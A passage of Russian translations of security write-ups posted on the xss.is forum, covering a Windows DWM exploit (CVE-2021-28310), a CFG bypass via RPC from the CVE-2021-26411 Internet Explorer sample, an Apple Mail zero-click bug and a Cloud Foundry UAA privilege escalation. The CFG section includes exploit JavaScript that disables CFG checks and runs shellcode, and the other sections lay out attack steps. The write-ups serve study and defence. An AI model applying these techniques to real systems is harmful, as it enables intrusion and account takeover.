buf[6] = _D2DVector2; // DCOMPOSITION_EXPRESSION_TYPE
buf[7] = hidword;
buf[8] = lodword;
BatchLength += 36;
}
Формат команд, используемых в эксплойте
Давайте взглянем на функцию CPropertySet::ProcessSetPropertyValue в dwmcore.dll. Эта функция отвечает за обработку команды SetResourceBufferProperty. Нас больше всего интересует код, отвечающий за обработку типа выражения D2DVector2 (DCOMPOSITION_EXPRESSION_TYPE = D2DVector2).
C++:Copy to clipboard
int CPropertySet::ProcessSetPropertyValue(CPropertySet *this, ...)
{
...
if (expression_type == _D2DVector2)
{
if (!update)
{
CPropertySet::AddProperty<D2DVector2>(this, propertyId, storageOffset, _D2DVector2, value);
}
else
{
if ( storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )
{
goto fail;
}
CPropertySet::UpdateProperty<D2DVector2>(this, propertyId, _D2DVector2, value);
}
}
...
}
int CPropertySet::AddProperty<D2DVector2>(CResource *this, unsigned int propertyId, int storageOffset, int type, _QWORD *value)
{
int propertyIdAdded;
int result = PropertySetStorage<DynArrayNoZero,PropertySetUserModeAllocator>::AddProperty<D2DVector2>(
this->propertiesData,
type,
value,
&propertyIdAdded);
if ( result < 0 )
{
return result;
}
if ( propertyId != propertyIdAdded || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )
{
return 0x88980403;
}
result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);
if ( result < 0 )
{
return result;
}
return 0;
}
int CPropertySet::UpdateProperty<D2DVector2>(CResource *this, unsigned int propertyId, int type, _QWORD *value)
{
if ( this->properties[propertyId]->type == type )
{
*(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;
int result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);
if ( result < 0 )
{
return result;
}
return 0;
}
else
{
return 0x80070057;
}
}
Обработка команды SetResourceBufferProperty (D2DVector2) в dwmcore.dll
Если в качестве типа выражения задано D2DVector2, то для команды
SetResourceBufferProperty функция CPropertySet::ProcessSetPropertyValue(…)
вызовет либо CPropertySet::AddProperty
C++:Copy to clipboard
(1) storageOffset == this->properties[propertyId]->offset & 0x1FFFFFFF
(2) this->properties[propertyId]->type == type
Условия, которые должны быть выполнены для эксплуатации уязвимости в dwmcore.dll
Злоумышленник сможет обойти эти проверки, если найдет способ выделять и освобождать объекты в процессе dwm.exe таким образом, чтобы приводить кучу в желаемое состояние и заполнять память поддельными свойствами по определенным адресам, применяя технику heap spraying. Обнаруженный эксплойт справляется с этой задачей при помощи команд CreateResource, ReleaseResource и SetResourceBufferProperty.
На момент написания статьи мы еще не проанализировали обновленные бинарные файлы, исправляющие эту уязвимость, но чтобы исключить возможность возникновения других ее вариантов, разработчикам Microsoft следует проверять количество свойств и для других типов выражений.
Даже если принять во внимание вышеперечисленные проблемы в dwmcore.dll и предположить, что достигнуто желаемое состояние памяти для обхода ранее упомянутых проверок и выпущен пакет команд для реализации уязвимости, фактически она все же не будет реализована, потому что есть еще одно препятствие.
Как упоминалось выше, команды сначала обрабатываются ядром и только после
этого отправляются в диспетчер окон рабочего стола (dwm.exe). Это означает,
что если попытаться отправить команду с недопустимым propertyId, системный
вызов NtDCompositionProcessChannelBatchBuffer вернет ошибку, и команда не
будет передана процессу dwm.exe. Когда в качестве типа выражения задано
D2DVector2, команды SetResourceBufferProperty обрабатываются в драйвере
win32kbase.sys с помощью функций
DirectComposition::CPropertySetMarshaler::AddProperty
C++:Copy to clipboard
int DirectComposition::CPropertySetMarshaler::UpdateProperty<D2DVector2>(DirectComposition::CPropertySetMarshaler *this, unsigned int *commandParams, _QWORD *value)
{
unsigned int propertyId = commandParams[0];
unsigned int storageOffset = commandParams[1];
unsigned int type = commandParams[2];
if ( propertyId >= this->propertiesCount
|| storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF)
|| type != this->properties[propertyId]->type )
{
return 0xC000000D;
}
else
{
*(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;
...
}
return 0;
}
DirectComposition::CPropertySetMarshaler::UpdateProperty
Версия функции UpdateProperty
Несоответствие между количеством свойств, назначенных одному и тому же ресурсу в режиме ядра и в пользовательском режиме, может быть источником других уязвимостей. Поэтому мы рекомендуем компании Microsoft изменить поведение функции AddProperty так, чтобы свойства проверялись перед их добавлением.
Весь процесс применения обнаруженного эксплойта выглядит следующим образом:
Продукты «Лаборатории Касперского» обнаруживают этот эксплойт со следующими вердиктами:
[Источник](https://securelist.ru/zero-day-vulnerability-in-desktop-window- manager-cve-2021-28310-used-in-the-wild/101227/)
Общий метод эксплуатации процесса рендеринга браузера: после использования
уязвимости для получения произвольного примитива чтения/записи памяти
пользовательского режима, vtable
объекта DOM/js подделывается, чтобы
захватить поток выполнения кода. Затем VirtualProtect
вызывается цепочкой
ROP для изменения памяти шеллкода на PAGE_EXECUTE_READWRITE
, и, наконец,
поток выполнения кода переходит к шеллкоду с помощью цепочки ROP. После
Windows 8.1 Microsoft представила средство CFG (Control Flow Guard) [1] для
проверки косвенного вызова функции, что снижает риск взлома vtable для
выполнения кода.
Однако на этом противостояние не закончилось. Появились некоторые новые методы
обхода CFG. Например, в chakra/jscript9 поток выполнения кода захватывается
путем подделки адреса возврата функции в стеке; в версии 8 для выполнения
шелл-кода используется WebAssembly
со свойством исполняемой памяти. В
декабре 2020 года Microsoft представила технологию смягчения последствий
CET(Control-flow Enforcement Technology) [2], основанную на процессоре Intel Tiger Lake
в Windows 10 20H1, которая защищает от взлома адрес возврата
функции в стеке. Таким образом, как обойти CFG в среде смягчения последствий
CET стало новой проблемой для эксплуатации уязвимостей.
Анализируя образец CVE-2021-26411 в естественных условиях, мы обнаружили новый
метод обхода защиты от CFG с помощью Windows RPC (Remote Procedure Call) [3].
Этот метод не полагается на цепочку ROP. Создав RPC_MESSAGE
, можно выполнить
произвольный код, вызвав вручнуюrpcrt4!NdrServerCall2
.
Ретроспектива
В моем блоге «CVE-2021-26411: Internet Explorer mshtml use-after-free»
проиллюстрирована основная причина: removeAttributeNode()
запускает обратный
вызов valueOf
объекта атрибута nodeValue
. Во время обратного вызова
clearAttributes()
вызывается вручную, что приводит к предварительному
освобождению BSTR, сохраненного в nodeValue. После возврата обратного вызова
valueOf объект nodeValue не проверяется, что приводит к UAF.
Исправление этой уязвимости в патче Windows March заключается в добавлении
проверки индекса перед удалением объекта в функции CAttrArray::Destroy
Идея эксплуатации такой уязвимости UAF с контролируемым размером памяти заключается в следующем: использовать два разных типа указателей (BSTR и Dictionary.items), чтобы указать на повторно используемую память, затем утечка указателя и возможность разыменования указателя достигается за счет смешения типов:
Введение и эксплуатация Windows RPC
Windows RPC используется для поддержки сценария распределенных вызовов функций
клиент/сервер. На основе Windows RPC клиент может вызывать функции сервера так
же, как вызов локальной функции. Базовая архитектура Windows RPC показана
следующим образом:
Программа клиент / сервер передает параметры вызова или возвращаемые значения
функции заглушки нижнего уровня. Функция заглушки отвечает за инкапсуляцию
данных в формат NDR(Network Data Representation). Связь через библиотеку
времени выполнения обеспечивается через rpcrt4.dll
.
Ниже приведен пример idl:
C++:Copy to clipboard
[
uuid("1BC6D261-B697-47C2-AF83-8AE25922C0FF"),
version(1.0)
]
interface HelloRPC
{
int add(int x, int y);
}
Когда клиент вызывает функцию добавления, сервер получает запрос на обработку
от rpcrt4.dll
и вызывает rpcrt4!NdrServerCall2
:
rpcrt4!NdrServerCall2
имеет только один параметр PRPC_MESSAGE
, который
содержит важные данные, такие как индекс функции и параметры. Структура
RPC_MESSAGE
сервера и основная структура вспомогательных данных показаны
следующим образом (32 bits):
Как показано на вышеупомянутом рисунке, в структуре RPC_MESSAGE
двумя
важными переменными вызова функции являются Buffer
и
RpcInterfaceInformation
. Buffer
хранит параметры функции, а
RpcInterfaceInformation
указывает на структуру RPC_SERVER_INTERFACE
.
Структура RPC_SERVER_INTERFACE
сохраняет информацию об интерфейсе программы
сервера, в которой DispatchTable (+ 0x2c)
сохраняет указатели интерфейсных
функций библиотеки времени выполнения и функции-заглушки, а InterpreterInfo (+ 0x3c)
указывает на структуру MIDL_SERVER_INFO
. Структура
MIDL_SERVER_INFO
сохраняет информацию интерфейса IDL сервера, а
DispatchTable (+ 0x4)
сохраняет массив указателей функций подпрограммы
сервера.
Вот пример, представляющий структуру RPC_MESSAGE
Согласно приведенному выше idl, когда клиент вызывает add (0x111, 0x222)
,
серверная программа прерывается на rpcrt4!NdrServerCall2
:
Можно видеть, что дамп памяти динамической отладки согласуется с анализом
структуры RPC_MESSAGE
, а функция добавления хранится в
MIDL_SERVER_INFO.DispatchTable
.
Затем мы анализируем, как rpcrt4!NdrServerCall2
вызывает функцию добавления
в соответствии с RPC_MESSAGE
:
Rpcrt4!NdrServerCall2
вызывает rpcrt4!NdrStubCall2
. Rpcrt4!NdrStubCall2
вычисляет адрес указателя функции на основе MIDL_SERVER_INFO.DispatchTable
и
RPC_MESSAGE.ProcNum
и передает указатель функции, параметры функции и длину
параметра в rpcrt4!Invoke
Команда rpcrt4!Invoke
, наконец, вызывает стандартную функцию,
предоставленную сервером:
Основываясь на приведенном выше анализе, после достижения произвольного
примитива чтения/записи в память мы можем создать поддельный RPC_MESSAGE
,
установить указатель функции и параметры функции, которые нужно вызвать, и
вызвать rpcrt4!NdrServerCall2
вручную, чтобы реализовать выполнение любой
функции.
Далее необходимо решить две проблемы:
rpcrt4!NdrServerCall2
в javascriptrpcrt4!Invoke
:Мы видим, что это косвенный вызов функции и есть проверка CFG. Следовательно,
нам нужно подумать, как обойти здесь защиту CFG после подделки указателя
функции MIDL_SERVER_INFO.DispatchTable.
Давайте сначала решим Проблему 1: как вызвать rpcrt4!NdrServerCall2
в
javascript?:
Мы можем заменить указатель функции vtable объекта DOM на
rpcrt4!NdrServerCall2
. Поскольку rpcrt4!NdrServerCall2
является допустимым
указателем, записанным в CFGBitmap, он может пройти проверку CFG. Образец
заменяет MSHTML!CAttribute :: normalize
на rpcrt4!NdrServerCall2
и
вызывает «xyz.normalize ()» в javascript для вызова rpcrt4!NdrServerCall2
.
Затем решаем Вопрос 2: Как обойти защиту CFG в rpcrt4! NdrServerCall2?
Метод в примере:
rpcrt4!NdrServerCall2
для вызова VirtualProtect и измените атрибут памяти RPCRT4!__ guard_check_icall_fptr
на PAGE_EXECUTE_READWRITE
ntdll!LdrpValidateUserCallTarget
, сохраненный в rpcrt4!__guard_check_icall_fptr
, на ntdll!KiFastSystemCallRet
, чтобы отключить проверку CFG в rpcrt4.dllRPCRT4!__guard_check_icall_fptr
JavaScript:Copy to clipboard
function killCfg(addr) {
var cfgobj = new CFGObject(addr)
if (!cfgobj.getCFGValue())
return
var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
map.delete(tmpBuffer)
}
После решения двух проблем поддельный RPC_MESSAGE
можно использовать для
вызова любого указателя функции, включая буфер, хранящий шелл-код, поскольку
проверка CFG в rpcrt4.dll
была прервана. Наконец, образец записывает шелл-
код в расположение msi.dll+0x5000
и, наконец, вызывает шелл-код через
rpcrt4!NdrServerCall2
JavaScript:Copy to clipboard
var shellcode = new Uint8Array([0xcc])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
call2(msi, [])
Скриншот эксплуатации:
Некоторые мысли
Новый метод обхода защиты от CFG за счет использования Windows RPC,
представленного в CVE-2021-26411 в исходном образце. Эта технология
эксплуатации не требует построения цепочки ROP и выполнения произвольного кода
напрямую с помощью поддельного RPC_MESSAGE
. Эта технология эксплуатации
проста и стабильна. Разумно полагать, что это станет новой и эффективной
технологией эксплуатации, позволяющей обойти защиту от CFG.
Ссылки
[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
[2] https://windows-internals.com/cet-on-windows/
[3] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page
От ТС
За оригиналом [сюда](https://iamelli0t.github.io/2021/04/10/RPC-Bypass-
CFG.html)
Спасибо weaver за материал
Интересный способ обхода CFG, а главное простой и действенный.
Перевод:
Azrv3l cпециально для xss.is
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
Я обнаружил Zero-Click уязвимость(не требующая от пользователя никаких дополнительных действий, например, нажатия, скачивания и т.п.) в Apple Mail, которая позволяла добавлять или изменять любой произвольный файл в среде местной песочницы. Эта уязвимость могла привести к различным неприятностям, включая несанкционированное раскрытие конфиденциальной информации третьим лицам. Злоумышленник мог изменить конфигурацию почты жертвы, например, переадресацию почты, что позволяет захватить другие учетные записи жертвы с помощью сброса пароля. Эта уязвимость могла быть использована для изменения настроек пользователя, чтобы он сам распространял вирус, общаясь с другими пользователями. Apple исправила эту уязвимость в июле 2020 года.
Однажды я изучал Apple Bug Bounty и начал думать, какие атаки могут быть запущены без действий пользователя. Первой идеей, очевидно, был Safari. Я немного поиграл с Safari, но не нашел интересных зацепок. Следующее, что у меня было на уме — это Mail или iMessage. Я сосредоточился на Mail, потому что подозревал, что устаревшие функции скрываются в старом коде. Я начал экспериментировать с почтой, отправляя тестовые сообщения и вложения, пытаясь найти аномалию по сравнению с обычной отправкой и получением электронной почты. Я отправлял эти сообщения и отслеживал системные вызовы, чтобы узнать, что происходит под капотом при получении электронной почты, и вот что я нашел.
Mail имеет функцию, которая позволяет автоматически распаковывать вложения, которые были автоматически архивированы другим пользователем.
В допустимом варианте использования, если пользователь создает электронную почту и добавляет папку в качестве вложения, она автоматически сжимается с помощью .zip и настройки x-mac-auto-archive = yes и затем добавляется в заголовки MIME. Когда другой пользователь почты получает это электронное письмо, сжатые данные автоматически распаковываются.
Во время своего исследования я обнаружил, что части несжатых данных не очищаются из временного каталога, и этот каталог не является уникальным в среде Mail. Это можно использовать для получения несанкционированного доступа к записи в ~ /Library/Mail и в $TMPDIR, используя символические ссылки внутри этих заархивированных файлов.
Символические ссылки
Символическая ссылка - это специальный файл в файловой системе, в котором
вместо пользовательских данных содержится путь к файлу, открываемому при
обращении к данной ссылке.
Злоумышленник отправляет жертве
эксплойт
по электронной почте, который включает в себя два zip-файла в качестве
вложений. Сразу же, когда пользователь получает электронное письмо, Apple Mail
анализирует его и ищет любые вложения с заголовком x-mac-auto-archive = yes.
Mail автоматически распаковывает эти файлы.
Первый zip-архив включает символическую ссылку Mail, которая отсылает к $ HOME / Library / Mail
и файл 1.txt. Zip распаковывается в
$TMPDIR/com.apple.mail/bom/
. На основе заголовка filename = 1.txt.zip
1.txt копируется в почтовый каталог, и все работает так, как положено. Однако
очистка выполняется неправильно, и символическая ссылка остается на месте.
Второй прикрепленный zip-архив содержит изменения, которые вы хотите внести в
$ HOME/Library/Mail
. Это предоставит произвольное разрешение на запись файла
в Library/Mail.
В моем примере я написал новые правила для почты. При этом вы можете добавить
их в приложение почты.
Mail/ZCZPoC
Mail/V7/MailData/RulesActiveState.plist
Mail/V7/MailData/SyncedRules.plistClick to expand...
Mail/ZCZPoC включает в себя просто текстовый файл, который будет записан в ~/Library/Mail.
Файлы могут быть перезаписаны, и именно это происходит с файлами
RulesActiveState.plist и SyncedRules.plist.
Главное в RulesActiveState.plist — это активировать новое правило в
SyncedRules.plist.
…
0C8B9B35–2F89–418F-913F-A6F5E0C8F445
…Click to expand...
SyncedRules.plist содержит правило, соответствующее «AnyMessage», и правило, при котором PoC приложение Mail воспроизводит звук Морзе при получении любого сообщения.
…
Criteria
CriterionUniqueId
0C8B9B35–2F89–418F-913F-A6F5E0C8F445
Header
AnyMessage
…
SoundName
Morse Click to expand...
Вместо воспроизведения звука Морзе это может быть, например, правило переадресации для утечки конфиденциальных данных электронной почты.
Этот произвольный доступ позволяет злоумышленнику манипулировать всеми файлами
в $HOME/Library/Mail. Это могло привести к передаче конфиденциальных данных
третьим лицам путем изменения конфигурации почты. Один из доступных вариантов
конфигурации — это подпись пользователя, которая может быть использована для
исправления уязвимости.
Также есть вероятность, что это могло привести к уязвимости удаленного
выполнения кода (RCE), но я не зашел так далеко.
2020–05–16: обнаружена проблема
2020–05–24: PoC готов и сообщается в Apple
2020-06-04: Выпуск Catalina 10.15.6 Beta 4 с исправлением
2020–07–15: macOS Mojave 10.14.6, macOS High Sierra 10.13.6, macOS Catalina
10.15.5 Обновление с исправлением выпущено
2020–11–12: выпущена CVE-2020–9922
2021–03–30: Bug Bounty еще не оценена
Автор оригинала: [Mikko Kenttälä](https://mikko-kenttala.medium.com/zero-
click-vulnerability-in-apples-macos-mail-59e0c14b106c)
Перевод Stedihabr
Еще в апреле я раскрыл две уязвимости в Cloud Foundry UAA (учетная запись пользователя и сервер аутентификации), которые назначили им CVE-2019-11268 и CVE-2019-11270. В своем [последнем посте](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://www.twistlock.com/labs- blog/cloud-foundry-uaa-cve-2019-11268-identity-zones-sql-vulnerability/) я рассмотрел CVE-2019-11268, SQL-инъекцию, которая позволяла получать информацию в зонах идентификации UAA.
Я не мог обсуждать CVE-2019-11270 вплоть до прошлой недели (1-8-19), пока CF публично не выпустили исправленную версию - UAA v73.7 . CVE-2019-11270 - это уязвимость, связанная с повышением привилегий высокой степени серьезности в реализации UAA области client.write (т. Е. Разрешения). Злонамеренный клиент, обладающий уязвимой областью действия, может создавать новых клиентов с произвольными областями действия и получать полный контроль над сервером UAA и приложениями, которыми он управляет (например, развертывания CF).
Если вы используете UAA в качестве автономного сервера Oauth2 или в развертывании CF, я настоятельно рекомендую вам прочитать раздел «Был ли я затронут?» в конце. Он включает в себя несколько простых команд, которые определят, была ли уязвимость использована в вашей среде.
UAA
Cloud Foundry UAA (учетная запись пользователя и аутентификация) - это сервер
Oauth2, обеспечивающий управление идентификацией и контроль доступа. Он может
использоваться в качестве сервера Oauth2 в любой среде, в том числе вне
развертываний CF.
В моем [предыдущем посте](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://www.twistlock.com/labs- blog/cloud-foundry-uaa-cve-2019-11268-identity-zones-sql-vulnerability/) я частично затронул такие понятия UAA, как токены доступа, клиенты и области действия. Тем не менее, давайте вернемся к ним с некоторыми иллюстрациями, поскольку понимание их является ключом к пониманию как основных потоков Oauth2, так и уязвимости.
oauth2
Сервер UAA реализует широко используемый протокол авторизации Oauth2.
Большинство из вас, вероятно, использовали авторизацию на основе Oauth,
например, при регистрации на веб-сайте, таком как eBay, с использованием своей
учетной записи Facebook, и авторизации веб-сайта для получения некоторых прав
доступа к учетной записи, например, для чтения вашего адреса электронной почты
или публикации от вашего имени. Упрощенно, поток авторизации Oauth2 обычно
состоит из следующих шагов:
Давайте рассмотрим кусочки на изображении выше:
Серверы ресурсов и токены доступа
Серверы ресурсов определяются как любой объект, который учитывает маркеры
доступа, выпущенные UAA, что позволяет UAA управлять доступом к своим
ресурсам. Сервер ресурсов может быть базой данных, конечной точкой API или
даже самим сервером Oauth2.
Маркер доступа позволяет получить доступ на основе областей (в основном с разрешениями), закодированных в нем. Области - это произвольные строки, к которым серверы ресурсов могут придать значение. Например, приложение базы данных может решить, что любому клиенту, который представляет токен доступа с областью действия db.read, разрешено чтение из него, в то время как другие приложения могут не придавать никакого значения этой области.
Клиенты и пользователи
Клиенты представляют приложения, которым требуется доступ к серверам ресурсов,
управляемым UAA. У клиентов есть два набора разрешений - области действия и
полномочия .
Пользователь обычно представляет живого человека. Пользователи имеют разрешение в форме членства в группах, например, пользователь, который является членом группы db.read . Однако пользователи не могут напрямую влиять на свои разрешения и могут разрешать клиентам действовать только от их имени.
UAA Access Token Grant
Сервер UAA предоставляет токены доступа клиентам в форме авторизации. Токены
предоставляются в двух сценариях:
2. Когда клиент действует самостоятельно. Маркер доступа позволяет клиенту действовать на основании полномочий клиента.
В обоих случаях клиент может представить токен доступа на сервер ресурсов и действовать на основе областей, закодированных в токене.
Как показано выше, некоторые клиенты могут действовать самостоятельно без необходимости одобрения пользователя, в соответствии с набором полномочий. Они полезны для ресурсов, которые не связаны с пользователями. К примеру, Facebook и eBay могут иметь полномочия advertise.put, позволяющие размещать рекламу на Facebook или других сайтах.
Области управления UAA
Несколько областей, называемых « [областями
UAA](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.cloudfoundry.org/concepts/architecture/uaa.html%23uaa-
scopes#uaa-scopes) », позволяют управлять самим сервером UAA. Например, после
того, как клиент с полномочиями «groups.update» аутентифицируется на сервере
UAA и получает токен доступа, он может представить этот токен доступа в UAA, а
затем ему будет разрешено изменять существующие группы. В случае с областями
управления, UAA также играет роль сервера ресурсов.
Вот и все, что касается фона Oauth2 & UAA, а теперь о важных деталях.
CVE-2019-11270 - Повышение привилегий через область client.write
clients.write - это одна из областей управления UAA, о которой я упоминал
ранее, и она является более узкой версией client.admin. Подобно clients.admin,
clients.write позволяет создавать и изменять клиентов, но накладывает
несколько ограничений на создаваемых клиентов. «clients.write»
[документируется](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://docs.cloudfoundry.org/concepts/architecture/uaa.html%23uaa-
scopes#uaa-scopes) следующим образом:
Эта область необходима для создания и изменения клиентов. Области имеют префикс с идентификатором клиента. Например, id: testclient, authority: client.write дает возможность создать клиента с областью действия, с префикс testclient. Полномочия ограничены uaa.resource.
Click to expand...
Таким образом, созданным клиентам разрешено иметь префиксы областей только с идентификатором создаваемого клиента. Например, клиент с идентификатором «app123» и полномочиями: clients.write может регистрировать только новых клиентов с областями, в которых префикс app123. (например, app123.read или app123.admin ). Предполагается, что эти ограничения не позволят клиенту с областью client.write создавать клиентов с привилегированными областями управления UAA (например, uaa.admin ) и расширять его привилегии.
Вариант использования "Client.write"
Область client.write удобна для управления сервером ресурсов. Для управления
приложением базы данных администратор UAA может создать клиента с
идентификатором «db» и предоставить ему полномочияclient.write. Клиент 'db'
теперь может создавать новых клиентов и предоставлять им области с префиксом
db. как db.read , db.create или db.admin . Клиент db фактически является
административным клиентом для приложения базы данных и может создавать других
клиентов с детальными разрешениями для приложения.
Поскольку созданные клиенты могут быть зарегистрированы только с областями, а не с правами доступа, все они требуют, чтобы пользователь их авторизовал для получения токена доступа (как показано выше в разделе «Предоставление токена доступа»). В производственной среде клиенту 'db' могут быть предоставлены полномочия scim.write и scim.read, чтобы он мог создавать пользователей с соответствующим членством в группах (например, db.read ), чтобы они могли авторизовать новых клиентов.
Уязвимость
Изучив код UAA который следит за соблюдением указанных выше ограничений, в
частности ClientAdminEndpointValidator в функцию
Validate,
оказывается, что clients.write не реализовано:
В приведенном выше коде «caller» относится к создающему клиенту (т. Е. Клиенту, обладающему областью client.write ), а «client» относится к созданному клиенту.
Вы можете увидеть, что помимо разрешения областей с префиксом создаваемого идентификатора клиента (как описано), функция также позволяет областям с префиксом созданного идентификатора клиента иметь такие-же разрешения. Этот недостаток реализации позволяет вызывающей стороне создавать клиентов с произвольными областями, так как он также контролирует созданный идентификатор клиента.
Злонамеренный клиент с полномочиями client.write может, например, создать клиента с идентификатором id: 'zone' и, следовательно, с любой областью действия с префиксом зон. , например zone.uaa.admin , область, которая обеспечивает полный административный контроль над сервером UAA.
Как примечание, в строке # 182 вы можете видеть, что клиент-создатель может также назначить любую из своих собственных областей. Это имеет смысл, поскольку у создавающего клиента уже есть эти области, поэтому передача их новому клиенту не повышает его привилегии.
Explotation
Как указывалось ранее, клиентам, желающим действовать в своих областях,
требуется пользователь с соответствующим членством в группе для их
авторизации. Злоумышленнику, воспользовавшемуся этой уязвимостью для создания
клиента с идентификатором id: ' zone ' и scopes: zone.write , например,
понадобится пользователь, который является членом группы zone.write, чтобы
авторизовать нового клиента зон.
Если этот злоумышленник контролирует такого пользователя, атака становится тривиальной. То же самое верно, если злоумышленник имеет привилегии scim, то есть scim.write и scim.read , которые дают ему возможность создать требуемого пользователя.
Эта атака продемонстрирована в видео ниже, где «злой» клиент использует уязвимость для получения токена доступа с областью Clients.admin, получая полный контроль над сервером UAA.
Видео не может быть перенесено на форум, поэтому вы можете посмотреть его в оригинальной статье:[https://www.twistlock.com/labs-blog/privilege- escalation-in-cloud-foundry-uaa- cve-2019-11270/](https://www.twistlock.com/labs-blog/privilege-escalation- in-cloud-foundry-uaa-cve-2019-11270/)
Это лучший вариант для злоумышленника, хотя, помимо наличия уязвимой области client.write, он также имеет доступ к пользователям, которые могут утверждать клиентов, созданных с учетом этой уязвимости. Давайте немного ограничим нашего злоумышленника. Что он может делать только с уязвимой областью? Является ли уязвимость бесполезной в этом случае?
Автоматически утвержденные Области
К счастью для нашего ограниченного злоумышленника, область client.write также
позволяет использовать функцию автоматического одобрения UAA. Обычно, когда
пользователь разрешает клиенту действовать от его имени, ему предоставляется
возможность одобрить или отклонить запрос области действия клиентом. Как видно
на рисунке выше, пользователь решил утвердить только область действия
database.read. Если для одной из областей клиента было установлено
автоматическое одобрение, область действия автоматически, без ведома или
согласия пользователя. Например, на изображении выше область database.admin
утверждена автоматически, и вы можете видеть, что у пользователя нет никаких
указаний на это.
Автоматически утверждать эксплойт
Как я уже говорил ранее, область client.write позволяет устанавливать области
автоматически создаваемых клиентов. Давайте посмотрим, как злоумышленник может
использовать эту функцию, чтобы получить полный контроль над развертыванием CF
в сценарии, имитирующем реальную производственную среду.
В предыдущем видео об эксплойте злоумышленник имел доступ к области client.write в виде клиента с правами client.write. Для этого сценария, злоумышленник имеет доступ к clients.write объема через классический пользователь-клиент пару oauth2:
twist
пользователя , который является членом clients.write сферыevil
клиент, который имеет clients.write сферы, наряду с some.arbitrary рамки (будет объяснено в ближайшее время)Вот другие участники нашей производственной среды:
some-fake
- сервер ресурсов, который доверяет токенам доступа UAA для управления доступом к своим ресурсам. Требуется, чтобы токен содержал произвольную область видимости.victim
- член групп some.arbitrary и cloud_controller.admin .Пользователь victim
регулярно утверждает, что клиент evil
использует
область some.arbitrary и получает доступ к приложению some-fake
от своего
имени.
Цель злоумышленника - использовать уязвимость, чтобы добавить область
«cloud_controller.admin» к клиенту evil
и установить её как автоматически
утвержденную.
Атака
Если вы не уверены, как злоумышленнику удалось выполнить один из следующих
шагов, вы, вероятно, получите некоторые пояснения в главе «
[Уязвимость»](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://www.twistlock.com/labs-
blog/privilege-escalation-in-cloud-foundry-uaa-cve-2019-11270/%23vul#vul) .
twist
и evil
, чтобы получить токен доступа с областью уязвимых клиентов . Затем он использует уязвимость для создания клиента с именем cloud_contoller и предоставляет ему область cloud_contoller.admin. Атакующий также предоставляет клиенту «cloud_contoller» все возможности пользователя evil
.2. Затем злоумышленник использует пользователя twist
и клиента
«cloud_contoller», чтобы изменить клиента evil
так, чтобы он имел область
действия cloud_controller.admin, а также установить его как автоматически
утвержденный.
3. В следующий раз, когда victim
разрешит клиенту evil
использовать
область some.arbitrary, область cloud_controller.admin будет также
автоматически утверждена без согласия жертвы (!):
Эта атака успешно выполнена в видео ниже:
Видео не может быть перенесено на форум, поэтому вы можете посмотреть его в оригинальной статье:[https://www.twistlock.com/labs-blog/privilege- escalation-in-cloud-foundry-uaa- cve-2019-11270/](https://www.twistlock.com/labs-blog/privilege-escalation- in-cloud-foundry-uaa-cve-2019-11270/)
После выполнения атаки клиент evil
имеет административный контроль над
cloud_controller, что означает полный контроль над развертыванием CF
В видео я использовал uaac, CLI для сервера UAA. В реальной ситуации атаки
клиент evil
, скорее всего, будет иметь веб-интерфейс, и victim
перенаправит пользователя с него на страницы аутентификации и авторизации UAA.
Я был затронут?
Ниже приведена пара [команд
uaac](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://github.com/cloudfoundry/cf-
uaac) (uaa CLI), чтобы проверить, эксплуатировался ли CVE-2019-11270 в вашей
среде.
Code:Copy to clipboard
## Configure the uaa client
uaac target ${uaa-url} --skip-ssl-validation # set the UAA api endpoint
uaac token client get admin -s $uaa_admin_client_secret # authenticate as the UAA admin (any client with the 'clients.read' authority will do)
## If any of the following queries finds matching clients, your UAA server was likely attacked using CVE-2019-11270.
# Check for UAA management scopes:
uaac clients "client_id eq 'clients' or client_id eq 'scim' or client_id eq 'groups' or client_id sw 'zones'"
uaac clients "client_id eq 'password' or client_id eq 'idps' or client_id eq 'oauth'"
# Check for Cloud Foundry scopes:
uaac clients "client_id eq 'cloud_controller' or client_id eq 'routing' or client_id eq 'doppler' or client_id eq 'notifications'"
Имейте в виду, что злоумышленник мог удалить клиентов, которых он создал с помощью этой уязвимости, поэтому вы можете также проверить журналы UAA.
Конец
Я надеюсь, что этот пост помог вам понять уязвимость, методы ее использования
и влияние.
Если вы используете либо Cloud Foundry Application Runtime, либо UAA, не
забудьте обновить его до последней исправленной
версии
.
Переведено специально дляhttps://xss.is
Переводчик статьи - https://xss.is/members/177895/
Оригинал - <https://www.twistlock.com/labs-blog/privilege-escalation-in-cloud-
foundry-uaa-cve-2019-11270/>
